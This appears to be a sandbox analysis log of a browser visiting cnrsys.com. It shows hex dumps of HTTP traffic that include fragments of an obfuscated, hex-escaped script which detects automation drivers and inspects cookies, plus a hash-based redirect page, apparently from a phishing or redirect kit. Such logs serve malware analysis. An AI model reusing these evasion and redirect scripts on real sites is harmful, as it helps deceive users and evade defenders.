2024-09-27 06:18:35 UTC	158	IN	Data Raw: 39 38 0d 0a 32 31 5c 78 37 37 5c 78 36 39 5c 78 36 45 5c 78 36 34 5c 78 36 46 5c 78 37 37 5c 78 32 45 5c 78 36 34 5c 78 36 46 5c 78 36 44 5c 78 34 31 5c 78 37 35 5c 78 37 34 5c 78 36 46 5c 78 36 44 5c 78 36 31 5c 78 37 34 5c 78 36 39 5c 78 36 46 5c 78 36 45 5c 78 34 33 5c 78 36 46 5c 78 36 45 5c 78 37 34 5c 78 37 32 5c 78 36 46 5c 78 36 43 5c 78 36 43 5c 78 36 35 5c 78 37 32 5c 78 32 39 5c 78 37 42 5c 78 32 46 5c 78 32 41 5c 78 36 33 5c 78 36 38 5c 78 37 32 5c 78 0d 0a Data Ascii: 9821\x77\x69\x6E\x64\x6F\x77\x2E\x64\x6F\x6D\x41\x75\x74\x6F\x6D\x61\x74\x69\x6F\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72\x29\x7B\x2F\x2A\x63\x68\x72\x
2024-09-27 06:18:35 UTC	1355	IN	Data Raw: 35 34 34 0d 0a 36 46 5c 78 36 44 5c 78 36 39 5c 78 37 35 5c 78 36 44 5c 78 32 30 5c 78 36 32 5c 78 36 31 5c 78 37 33 5c 78 36 35 5c 78 36 34 5c 78 32 30 5c 78 36 31 5c 78 37 35 5c 78 37 34 5c 78 36 46 5c 78 36 44 5c 78 36 31 5c 78 37 34 5c 78 36 39 5c 78 36 46 5c 78 36 45 5c 78 32 30 5c 78 36 34 5c 78 37 32 5c 78 36 39 5c 78 37 36 5c 78 36 35 5c 78 37 32 5c 78 32 41 5c 78 32 46 5c 78 30 41 5c 78 36 39 5c 78 36 36 5c 78 32 38 5c 78 32 31 5c 78 37 37 5c 78 36 39 5c 78 36 45 5c 78 36 34 5c 78 36 46 5c 78 37 37 5c 78 32 45 5c 78 36 34 5c 78 36 46 5c 78 36 33 5c 78 37 35 5c 78 36 44 5c 78 36 35 5c 78 36 45 5c 78 37 34 5c 78 32 45 5c 78 36 34 5c 78 36 46 5c 78 36 33 5c 78 37 35 5c 78 36 44 5c 78 36 35 5c 78 36 45 5c 78 37 34 5c 78 34 35 5c 78 36 43 5c 78 36 35 Data Ascii: 5446F\x6D\x69\x75\x6D\x20\x62\x61\x73\x65\x64\x20\x61\x75\x74\x6F\x6D\x61\x74\x69\x6F\x6E\x20\x64\x72\x69\x76\x65\x72\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x64\x6F\x63\x75\x6D\x65\x6E\x74\x45\x6C\x65
2024-09-27 06:18:35 UTC	1369	IN	Data Raw: 35 64 63 0d 0a 37 33 5c 78 32 41 5c 78 35 42 5c 78 33 30 5c 78 32 44 5c 78 33 39 5c 78 36 31 5c 78 32 44 5c 78 36 36 5c 78 35 44 5c 78 37 42 5c 78 33 33 5c 78 33 32 5c 78 37 44 5c 78 35 43 5c 78 37 33 5c 78 32 41 5c 78 33 44 5c 78 35 43 5c 78 37 33 5c 78 32 41 5c 78 32 38 5c 78 35 42 5c 78 35 45 5c 78 33 42 5c 78 35 44 5c 78 32 42 5c 78 32 39 5c 78 32 38 5c 78 33 46 5c 78 33 41 5c 78 32 45 5c 78 32 41 5c 78 32 39 5c 78 33 46 5c 78 32 34 5c 78 32 46 5c 78 32 39 5c 78 32 39 5c 78 37 42 5c 78 32 41 5c 78 32 46 5c 78 32 46 5c 78 32 41 5c 78 34 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 34 46 5c 78 36 45 5c 78 36 43 5c 78 37 39 5c 78 32 30 5c 78 34 33 5c 78 36 46 5c 78 36 46 5c 78 36 42 5c 78 36 39 5c 78 36 35 5c 78 32 30 5c 78 36 36 5c 78 36 43 5c 78 36 31 Data Ascii: 5dc73\x2A\x5B\x30\x2D\x39\x61\x2D\x66\x5D\x7B\x33\x32\x7D\x5C\x73\x2A\x3D\x5C\x73\x2A\x28\x5B\x5E\x3B\x5D\x2B\x29\x28\x3F\x3A\x2E\x2A\x29\x3F\x24\x2F\x29\x29\x7B\x2A\x2F\x2F\x2A\x48\x74\x74\x70\x4F\x6E\x6C\x79\x20\x43\x6F\x6F\x6B\x69\x65\x20\x66\x6C\x61
2024-09-27 06:18:35 UTC	138	IN	Data Raw: 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 37 38 5c 78 36 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 32 45 5c 78 36 46 5c 78 36 45 5c 78 37 32 5c 78 36 35 5c 78 36 31 5c 78 36 34 5c 78 37 39 5c 78 37 33 5c 78 37 34 5c 78 36 31 5c 78 37 34 5c 78 36 35 5c 78 36 33 5c 78 36 38 5c 78 0d 0a Data Ascii: 20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x68\x74\x74\x70\x2E\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x
2024-09-27 06:18:35 UTC	1369	IN	Data Raw: 62 32 30 0d 0a 36 31 5c 78 36 45 5c 78 36 37 5c 78 36 35 5c 78 32 30 5c 78 33 44 5c 78 32 30 5c 78 36 36 5c 78 37 35 5c 78 36 45 5c 78 36 33 5c 78 37 34 5c 78 36 39 5c 78 36 46 5c 78 36 45 5c 78 32 38 5c 78 32 39 5c 78 32 30 5c 78 37 42 5c 78 30 41 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 36 39 5c 78 36 36 5c 78 32 30 5c 78 32 38 5c 78 37 38 5c 78 36 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 32 45 5c 78 37 32 Data Ascii: b2061\x6E\x67\x65\x20\x3D\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x78\x68\x74\x74\x70\x2E\x72

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	188.114.96.3	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:35 UTC	1091	OUT	POST /.jhg/ HTTP/1.1 Host: cnrsys.com Connection: keep-alive Content-Length: 22 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" InCYOsRyGtg7pOtfBseSx0TDQ: 46332950 X-Requested-TimeStamp-Expire: sec-ch-ua-mobile: ?0 X-Requested-TimeStamp-Combination: X-Requested-Type-Combination: GET Content-type: application/x-www-form-urlencoded X-Requested-Type: GET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-Requested-with: XMLHttpRequest X-Requested-TimeStamp: sec-ch-ua-platform: "Windows" Accept: / Origin: https://cnrsys.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://cnrsys.com/.jhg/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y
2024-09-27 06:18:35 UTC	22	OUT	Data Raw: 6e 61 6d 65 31 3d 48 65 6e 72 79 26 6e 61 6d 65 32 3d 46 6f 72 64 Data Ascii: name1=Henry&name2=Ford
2024-09-27 06:18:35 UTC	1248	IN	HTTP/1.1 204 No Content Date: Fri, 27 Sep 2024 06:18:35 GMT Connection: close X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Set-Cookie: ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; path=/; expires=Sat, 28-Sep-24 06:18:35 GMT; Max-Age=86400; Set-Cookie: zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; path=/; expires=Sat, 28-Sep-24 06:18:35 GMT; Max-Age=86400; Set-Cookie: S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; path=/; expires=Sat, 28-Sep-24 06:18:35 GMT; Max-Age=86400; Set-Cookie: ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts; path=/; expires=Sat, 28-Sep-24 06:18:35 GMT; Max-Age=86400; X-Frame-Options: SAMEORIGIN Cache-Control: public, max-age=0 no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Expires: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VhZtM68iUEHGKPTIdEhYhV%2B9xQLYguhqT8eqxdbkUVGessEyuDNG7gm%2BpCKq7kF6YDBPF4gdmldZC%2BnWOgeobvhCPY4Ehr8oYyiMrAqEpZFfSVyqcXR5f0M7sITK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c996094ba7e42d8-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	188.114.96.3	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:36 UTC	780	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: cnrsys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y
2024-09-27 06:18:36 UTC	663	IN	HTTP/1.1 302 Found Date: Fri, 27 Sep 2024 06:18:36 GMT Content-Length: 0 Connection: close location: /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public access-control-allow-origin: * Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JP1q78lGLIYZRhnJykOIxVgGXoM3lBIIFtCm7OnuoPvdSbvfez7mddig9spFJHFQegQVxT%2FBgouixoGRFSoxCaa4xHKTDF4x8i%2B1H3%2FE0BUWamANOkm1hRCX%2F%2B51"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c996098fc1bc33a-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49713	35.190.80.1	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:36 UTC	523	OUT	OPTIONS /report/v4?s=YMLOLPGSRSsmwqIpR3fASjuCOZFyw2vqRj30ILIMSrYqMs%2BSqnDEjfXqZcDkX7Ba3r%2Bnd0eB9RJep02H0bLqRSKLTKeluxI%2FFC6uy6lWSfTwTYgQT%2FO0KIiV436O HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cnrsys.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:36 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 27 Sep 2024 06:18:35 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	188.114.96.3	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:36 UTC	1102	OUT	GET /.jhg/ HTTP/1.1 Host: cnrsys.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://cnrsys.com/.jhg/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts
2024-09-27 06:18:37 UTC	736	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SWLBF1REcQ%2BMSAGiU7MWNBOKkIM7eq0Cn%2FX8pLjVflUYTtF2DmOxaczT8TqK0O17WnEFeXbSFchaEYLSrqr4qRRp8%2FNAqL38003CG4Ua%2BSUswmgmmdV5%2FgRlzPOF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8c99609c4fe34276-EWR
2024-09-27 06:18:37 UTC	633	IN	Data Raw: 36 61 34 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 64 69 72 65 63 74 54 6f 44 6f 6d 61 69 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 68 61 73 68 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f Data Ascii: 6a4<html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Redirecting...</title> <script> function redirectToDomain() { const hash = window.locatio
2024-09-27 06:18:37 UTC	1074	IN	Data Raw: 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 72 65 64 69 72 65 63 74 54 6f 44 6f 6d 61 69 6e 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 Data Ascii: } } document.addEventListener('DOMContentLoaded', redirectToDomain); </script></head><body><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="wi
2024-09-27 06:18:37 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-09-27 06:18:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	188.114.96.3	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:36 UTC	935	OUT	GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1 Host: cnrsys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts
2024-09-27 06:18:37 UTC	640	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:18:36 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8095 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wylJJ9zOA%2BW9WZdSjXK0R0dCP2kDWmOCh9rskeLqY4ZtK%2BKw1H%2FVVztu1Ab6ofktxRSZAO5tRnYWDeE2a24C1BirioF3ba%2FMT6aqvmGagDBsFXfPIXaHPaapmu8U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c99609cedc88c35-EWR
2024-09-27 06:18:37 UTC	729	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 67 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 67 2c 68 2c 69 2c 6a 2c 6e 2c 6f 2c 76 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 55 2c 66 2c 43 29 7b 66 6f 72 28 55 3d 62 2c 66 3d 64 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 43 3d 70 61 72 73 65 49 6e 74 28 55 28 31 38 38 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 55 28 32 34 39 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 55 28 32 34 35 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 55 28 32 31 32 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 55 28 32 32 38 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 55 28 32 33 31 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 55 28 32 33 39 29 29 2f 37 2b 2d 70 Data Ascii: window._cf_chl_opt={cFPWv:'g'};~function(V,g,h,i,j,n,o,v){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=parseInt(U(188))/1(-parseInt(U(249))/2)+parseInt(U(245))/3(-parseInt(U(212))/4)+parseInt(U(228))/5*(-parseInt(U(231))/6)+parseInt(U(239))/7+-p
2024-09-27 06:18:37 UTC	1369	IN	Data Raw: 30 28 32 30 36 29 5d 3f 43 5b 61 30 28 31 38 35 29 5d 5b 61 30 28 32 33 30 29 5d 28 6e 65 77 20 43 5b 28 61 30 28 32 30 36 29 29 5d 28 48 29 29 3a 66 75 6e 63 74 69 6f 6e 28 4e 2c 61 31 2c 4f 29 7b 66 6f 72 28 61 31 3d 61 30 2c 4e 5b 61 31 28 32 37 30 29 5d 28 29 2c 4f 3d 30 3b 4f 3c 4e 5b 61 31 28 32 34 37 29 5d 3b 4e 5b 4f 5d 3d 3d 3d 4e 5b 4f 2b 31 5d 3f 4e 5b 61 31 28 31 37 34 29 5d 28 4f 2b 31 2c 31 29 3a 4f 2b 3d 31 29 3b 72 65 74 75 72 6e 20 4e 7d 28 48 29 2c 49 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 49 3d 49 5b 61 30 28 31 39 37 29 5d 5b 61 30 28 32 33 33 29 5d 28 49 29 2c 4a 3d 30 3b 4a 3c 48 5b 61 30 28 32 34 37 29 5d 3b 4b 3d 48 5b 4a 5d 2c 4c 3d 6c 28 43 2c 44 2c 4b 29 2c 49 28 4c 29 3f 28 4d 3d 4c 3d 3d 3d 27 73 27 Data Ascii: 0(206)]?C[a0(185)][a0(230)](new C[(a0(206))](H)):function(N,a1,O){for(a1=a0,N[a1(270)](),O=0;O<N[a1(247)];N[O]===N[O+1]?N[a1(174)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(197)][a0(233)](I),J=0;J<H[a0(247)];K=H[J],L=l(C,D,K),I(L)?(M=L==='s'
2024-09-27 06:18:37 UTC	1369	IN	Data Raw: 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 54 3d 31 2c 47 3d 30 3b 47 3c 4d 3b 4f 3d 54 7c 4f 3c 3c 31 2c 50 3d 3d 45 2d 31 3f 28 50 3d 30 2c 4e 5b 61 36 28 32 30 34 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3d 30 2c 47 2b 2b 29 3b 66 6f 72 28 54 3d 4a 5b 61 36 28 31 37 36 29 5d 28 30 29 2c 47 3d 30 3b 31 36 3e 47 3b 4f 3d 54 26 31 2e 37 35 7c 4f 3c 3c 31 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 61 36 28 32 30 34 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 7d 4b 2d 2d 2c 4b 3d 3d 30 26 26 28 4b 3d 4d 61 74 68 5b 61 36 28 32 34 33 29 5d 28 32 2c 4d 29 2c 4d 2b 2b 29 2c 64 65 6c 65 74 65 20 49 5b 4a 5d 7d 65 6c 73 65 20 66 6f 72 28 54 3d Data Ascii: O)),O=0):P++,T>>=1,G++);}else{for(T=1,G=0;G<M;O=T\|O<<1,P==E-1?(P=0,N[a6(204)](F(O)),O=0):P++,T=0,G++);for(T=J[a6(176)](0),G=0;16>G;O=T&1.75\|O<<1,E-1==P?(P=0,N[a6(204)](F(O)),O=0):P++,T>>=1,G++);}K--,K==0&&(K=Math[a6(243)](2,M),M++),delete I[J]}else for(T=
2024-09-27 06:18:37 UTC	1369	IN	Data Raw: 31 3b 4d 21 3d 52 3b 53 3d 4f 26 4e 2c 4f 3e 3e 3d 31 2c 4f 3d 3d 30 26 26 28 4f 3d 45 2c 4e 3d 46 28 50 2b 2b 29 29 2c 51 7c 3d 4d 2a 28 30 3c 53 3f 31 3a 30 29 2c 4d 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 51 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 39 28 32 34 33 29 5d 28 32 2c 38 29 2c 4d 3d 31 3b 52 21 3d 4d 3b 53 3d 4e 26 4f 2c 4f 3e 3e 3d 31 2c 4f 3d 3d 30 26 26 28 4f 3d 45 2c 4e 3d 46 28 50 2b 2b 29 29 2c 51 7c 3d 28 30 3c 53 3f 31 3a 30 29 2a 4d 2c 4d 3c 3c 3d 31 29 3b 54 3d 65 28 51 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 39 28 32 34 33 29 5d 28 32 2c 31 36 29 2c 4d 3d 31 3b 4d 21 3d 52 3b 53 3d 4e 26 4f 2c 4f 3e 3e 3d 31 2c 4f 3d 3d 30 26 26 28 4f 3d 45 2c 4e Data Ascii: 1;M!=R;S=O&N,O>>=1,O==0&&(O=E,N=F(P++)),Q\|=M(0<S?1:0),M<<=1);switch(Q){case 0:for(Q=0,R=Math[a9(243)](2,8),M=1;R!=M;S=N&O,O>>=1,O==0&&(O=E,N=F(P++)),Q\|=(0<S?1:0)M,M<<=1);T=e(Q);break;case 1:for(Q=0,R=Math[a9(243)](2,16),M=1;M!=R;S=N&O,O>>=1,O==0&&(O=E,N
2024-09-27 06:18:37 UTC	1369	IN	Data Raw: 5b 44 5d 3d 3d 3d 21 30 3f 27 54 27 3a 43 5b 44 5d 3d 3d 3d 21 31 3f 27 46 27 3a 28 45 3d 74 79 70 65 6f 66 20 43 5b 44 5d 2c 58 28 32 36 36 29 3d 3d 45 3f 6b 28 65 2c 43 5b 44 5d 29 3f 27 4e 27 3a 27 66 27 3a 6a 5b 45 5d 7c 7c 27 3f 27 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 63 2c 64 2c 65 29 7b 72 65 74 75 72 6e 20 65 3d 61 28 29 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 3d 66 2d 31 36 31 2c 68 3d 65 5b 66 5d 2c 68 7d 2c 62 28 63 2c 64 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 61 68 29 7b 72 65 74 75 72 6e 20 61 68 3d 27 20 2d 20 2c 6c 65 6e 67 74 68 2c 2f 62 65 61 63 6f 6e 2f 6f 76 2c 31 30 39 38 38 32 72 78 70 5a 48 65 2c 48 76 6d 72 33 2c 35 33 35 31 39 36 